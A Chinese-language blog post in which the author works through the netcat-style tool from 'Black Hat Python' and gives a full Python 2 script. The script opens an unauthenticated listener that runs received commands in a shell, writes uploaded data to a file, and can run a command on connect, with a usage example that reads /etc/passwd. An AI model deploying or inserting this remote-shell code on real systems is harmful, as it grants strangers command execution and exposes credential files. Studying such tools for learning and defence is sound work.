天天看点

python黑帽子之netcat(chapter1)

大概耗时一天时间,我完成了netcat的简单实现,这个netcat能够完成的功能是在客户端进行简单的命令(如ls,pwd,遗憾的是不能进行cd操作,受限于subprocess的功能),进行文件内容输入。
           

大致的代码和书上的一样,不过书上的代码有点问题。我折腾了很久,在client_handler的if len(upload_destination)函数中如果使用书上的代码,会发现它停留在while循环里面出不来了,所以我稍微改了下。但是遗憾的是,这个自制的netcat不能传文件,而且那个传输command的命令我也觉得很鸡肋,都能在服务器运行这个py文件了,干嘛还用在客户端输入command传过去。不过这个训练对我来说,倒是锻炼了我对TCP,Netcat等的认识,受益匪浅!

import sys
import socket
import getopt
import threading
import subprocess

listen = False
command = False
upload = False
execute = ''
target = ''
upload_destination = ''
port = 0

#提示信息
def usage():
	print('BHP Net Tool')
	print('Usage: bhpnet.py -t target_host -p port')
	print('-l --listen - listen on [host]:[port] for incoming connections')
	print('-e --execute=file_to_run - execute the given file upon receiving a connection')
	print('-c --command - initialize a command shell')
	print('-u --upload=destination - upon receiving connection upload a file and write to [destination]')
	print('Examples:')
	print('bhpnet.py -t 192.168.0.1 -p 5555 -l -c')
	print('bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe')
	print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\'cat /etc/passwd\'")
	print("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135")
	sys.exit(0)

#监听状态下操作,设置一个服务器
def server_loop():
	global target,port
	#下面这句不知道什么意思,没有target设置一个target?
	if not len(target):
		target = '192.168.158.129'
	server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	server.bind((target,port))
	server.listen(5)
	
	while True:
		client_socket,addr = server.accept()
		#开始一个处理客户端的线程
		client_thread = threading.Thread(target = client_handler, args = (client_socket,))
		client_thread.start()

def run_command(command):
	#删除command后面的空格
	command = command.rstrip()
	#在shell内运行并返回结果
	try:
		output = subprocess.check_output(command,stderr = subprocess.STDOUT,shell = True)
		#若用subprocess.call那么这里的output就是0而不是命令执行结果
	except:
		output = 'Failed to execute command.\r\n'
	return output

#实现文件上传、命令执行和shell命令
def client_handler(client_socket):
	global upload_destination,execute,command
	#检测上传文件,upload_destination不空说明是上传文件
	if len(upload_destination):
		while True:
			file_buffer = client_socket.recv(1024)
		#把接收到的数据写入
			try:
				print('opening')
				file_descriptor = open(upload_destination,'a')
				file_descriptor.write(file_buffer)
				print('written')
				file_descriptor.close()
				
				#向客户端报信已经成功写入了
				client_socket.send('Successfully saved file to %s\r\n'%upload_destination)
			except:
				client_socket.send('Failed to write save file to %s\r\n'%upload_destination)
	#excute不空说明执行command
	if len(execute):
		output = run_command(execute)
		client_socket.send(output)
	#开命令行shell,和上面的有什么区别?
	if command:
		while True:
			client_socket.send('<BHP:#>')
			#接收文件直到发现换行符
			cmd_buffer = ''
			while '\n' not in cmd_buffer:
				cmd_buffer += client_socket.recv(1024)
			response = run_command(cmd_buffer)
			#返回响应数据
			client_socket.send(response)
	
#非监听状态下的发送数据
def client_sender(buffer):
	global target,port
	client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

	try:
		#连接到主机
		print('start connecting...')
		client.connect((target,port))
		print('connected!')
		if len(buffer):
			client.send(buffer)
			print('successfully sent out')
		while True:
			#现在等待数据传回来
			recv_len = 1
			response = ''
			print('waiting response')
			while recv_len:
				data = client.recv(4096)
				recv_len = len(data)
				response += data
				
				if recv_len < 4096:
					break
			print(response)
		
			#等待更多输入
			buffer = raw_input('') #kali上是python2.7
			buffer += '\n'
			
			#发送出去
			client.send(buffer)
			print('successfully sent out')
	except:
		print('[*] Exception! Exiting')
		client.close()

def main():
	global listen,port,execute,command,upload_destination,target
	#如果终端中运行时python **.py 后面没有参数则会提示正确的使用方法
	if not len(sys.argv[1:]):
		usage()	
			
	#读取命令行选项
	try:
		opts,args = getopt.getopt(sys.argv[1:],'hle:t:p:cu:',['help','listen','execute','target','port','command','upload'])
		#此处'hle:'为识别'-h'这样的短选项,相对比下h默认后面不带参数,e后面带有:则是说明它会带有参数,后面[]则是'--'的长选项
		#而args中包含那些不含'-','--'的项
	except getopt.GetoptError as err:#如果没有要匹配的参数,打印出error,然后给出提示
		print(str(err))
		usage()
	
	for o,a in opts:
		if o in ('-h','--help'):
			usage()
		elif o in ('-l','--listen'):
			listen = True
		elif o in ('-e','--execute'):
			execute = a
		elif o in ('-c','--command'):
			command = True
		elif o in ('-u','--upload'):
			upload_destination = a
		elif o in ('-t','--target'):
			target = a
		elif o in ('-p','--port'):
			port = int(a)
		else:
			assert False,'unhandled option'
        #判断进行监听还是单单发送数据
	if (not listen) and (len(target)>0) and (port > 0):
		#从cmd中读取内存数据
		#停止输入时按CTRL-D
		buffer = raw_input()
		#发送数据
		client_sender(buffer)
		
	#开始监听并准备上传文件、执行命令
	#放置一个反弹shell?
	if listen:
		print('The server is listening on %s:%d'%(target,port))
		server_loop()

main()